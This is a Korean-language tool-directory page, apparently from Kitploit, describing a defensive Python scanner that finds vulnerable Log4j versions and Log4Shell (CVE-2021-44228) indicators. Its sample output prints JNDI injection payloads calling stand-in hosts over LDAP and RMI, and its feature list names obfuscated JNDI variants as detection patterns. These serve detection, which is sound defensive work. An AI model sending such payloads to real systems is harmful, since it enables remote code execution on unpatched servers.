Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
log4shell-scanner — 파일 시스템 트리에서 취약한 Log4j 버전 및 Log4Shell (CVE-2021-44228) 지표를 탐지하는 경량 스캐너입니다. | Kitploit
도구/GitHubGitHub/arpitgupta369/log4shell-scanner
Defensive ToolsVulnerability ScannersVulnerability AnalysisSupply Chain SecurityLearning & EducationLog Analysis
GitHubarpitgupta369/log4shell-scanner

log4shell-scanner

파일 시스템 트리에서 취약한 Log4j 버전 및 Log4Shell (CVE-2021-44228) 지표를 탐지하는 경량 스캐너입니다.

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

log4shell-scanner

의존성 없는 방어용 Log4Shell 스캐너 — 취약한 log4j-core JAR 및 로그/설정에서 JNDI 익스플로잇 패턴을 찾습니다.

이 프로젝트를 만든 이유

CERT-In 순환 근무 당시 위협 식별, 차단, 대응 및 위협 헌팅(threat hunting) 작업을 수행했습니다. 이는 2021년 12월 Log4Shell(CVE-2021-44228)이 대규모로 요구했던 정확한 워크플로우입니다. 즉, 모든 취약한 log4j-core 아티팩트를 플릿에서 찾고 로그에서 ${jndi:...} 익스플로잇 시도를 탐지하는 것입니다. 이 스캐너는 이러한 방어 워크플로우를 검사 대상 호스트에 아무것도 설치할 필요 없는 단일의 이식 가능한 표준 라이브러리 Python 스크립트로 재구성합니다.

특징

  • 아카이브 검색 — 디렉터리 트리를 탐색하여 .jar / .war / .ear 파일 찾기.
  • 신뢰할 수 있는 버전 탐지 — 각 아카이브 내부의 pom.properties 및 MANIFEST.MF를 zipfile로 읽고, 파일 이름으로 대체; 실제 log4j-core와 관련 없는 JAR 구분.
  • CVE 플래깅 Log4Shell 계열 전체:
    • CVE-2021-44228 (RCE) — log4j-core 2.0-beta9 … 2.14.1
    • CVE-2021-45046 (불완전한 수정) — 2.15.0까지
    • CVE-2021-45105 (DoS) — 2.16.0까지
  • 익스플로잇 패턴 헌팅 — 로그/설정/소스에서 ${jndi:ldap:// 및 일반적인 난독화 (${${lower:j}ndi:…}, 중괄호 분할 j}ndi:, ${::-j}) 검색.
  • 실행 가능한 조치 — 2.17.1+로 업그레이드하거나 JndiLookup.class 제거, 추가로 이그레스 모니터링 안내.
  • 번들 샘플 트리 — 가짜 취약 log4j-core-2.14.1.jar (log4j-core pom.properties를 포함한 실제 ZIP), 패치된 2.17.1.jar, 관련 없는 JAR, JNDI 페이로드가 포함된 로그.
  • --demo — 샘플 트리를 빌드하고 전체를 스캔합니다.
  • 순수 Python 표준 라이브러리 (os, re, zipfile). 의존성 없음.

기술 스택

Python 3 (표준 라이브러리만 사용: argparse, os, re, zipfile).

설치

root@kitploit:~
git clone https://github.com/arpitgupta369/log4shell-scanner.git
cd log4shell-scanner
python --version   # Python 3.8+
# no dependencies to install

사용법

번들된 샘플 트리로 데모 실행:

root@kitploit:~
python log4shell_scan.py --demo

예상 출력 (일부 생략):

root@kitploit:~
--- Archives (log4j-core detection) ---
  [ok]         .../commons-lang3-3.12.0.jar
        version: unknown   (via no log4j-core detected)
  [VULNERABLE] .../log4j-core-2.14.1.jar
        version: 2.14.1   (via pom.properties (...))
        !! CVE-2021-44228: Critical RCE via JNDI lookup (Log4Shell).
        !! CVE-2021-45046: Incomplete fix; RCE/DoS in certain configs.
        !! CVE-2021-45105: Uncontrolled recursion -> Denial of Service.
  [ok]         .../log4j-core-2.17.1.jar
        version: 2.17.1   (via pom.properties (...))

--- Exploit-pattern matches (JNDI payloads in text/logs) ---
  [MATCH] .../access.log (2 hit(s))
        L2: ... "User-Agent: ${jndi:ldap://malicious-example.test:1389/a}"
        L3: ... "X-Api: ${${lower:j}ndi:rmi://evil-example.test/b}"

--- Summary ---
  Vulnerable archives:      1
  Files with JNDI patterns: 1

평가 권한이 있는 디렉터리 스캔:

root@kitploit:~
python log4shell_scan.py /path/to/deployed/app

프로세스 종료 코드는 취약하거나 의심스러운 항목이 발견되면 1, 깨끗하면 0입니다. CI/파이프라인 게이팅에 편리합니다.

언제든지 샘플 트리 재빌드:

root@kitploit:~
python log4shell_scan.py --build-samples

프로젝트 구조

root@kitploit:~
log4shell-scanner/
├── log4shell_scan.py      # scanner + sample-tree builder + CLI
├── samples/
│   └── app/
│       ├── libs/
│       │   ├── log4j-core-2.14.1.jar     # fake VULNERABLE jar (real zip)
│       │   ├── log4j-core-2.17.1.jar     # patched jar
│       │   └── commons-lang3-3.12.0.jar  # unrelated jar
│       ├── logs/
│       │   └── access.log                # contains JNDI payloads
│       └── config.properties             # benign (should not match)
├── README.md
├── LICENSE
└── .gitignore

면책 조항

교육, 방어 및 승인된 사용 전용입니다. 승인 없이 시스템이나 아티팩트에 대해 실행하지 마십시오. 이 스캐너는 읽기와 패턴 매칭만 수행하며 어떤 것도 실행하거나 익스플로잇하지 않습니다. 번들된 샘플 JAR은 제작된 플레이스홀더이며 실제 Apache 아티팩트가 아니며, 모든 페이로드 호스트 이름은 라우팅 불가능한 .test 이름을 사용합니다. 버전-CVE 매핑은 참고용으로 제공됩니다. 공식 CVE 및 Apache Log4j 보안 권고를 확인하십시오.


Arpit Gupta — LinkedIn · GitHub

도구 다운로드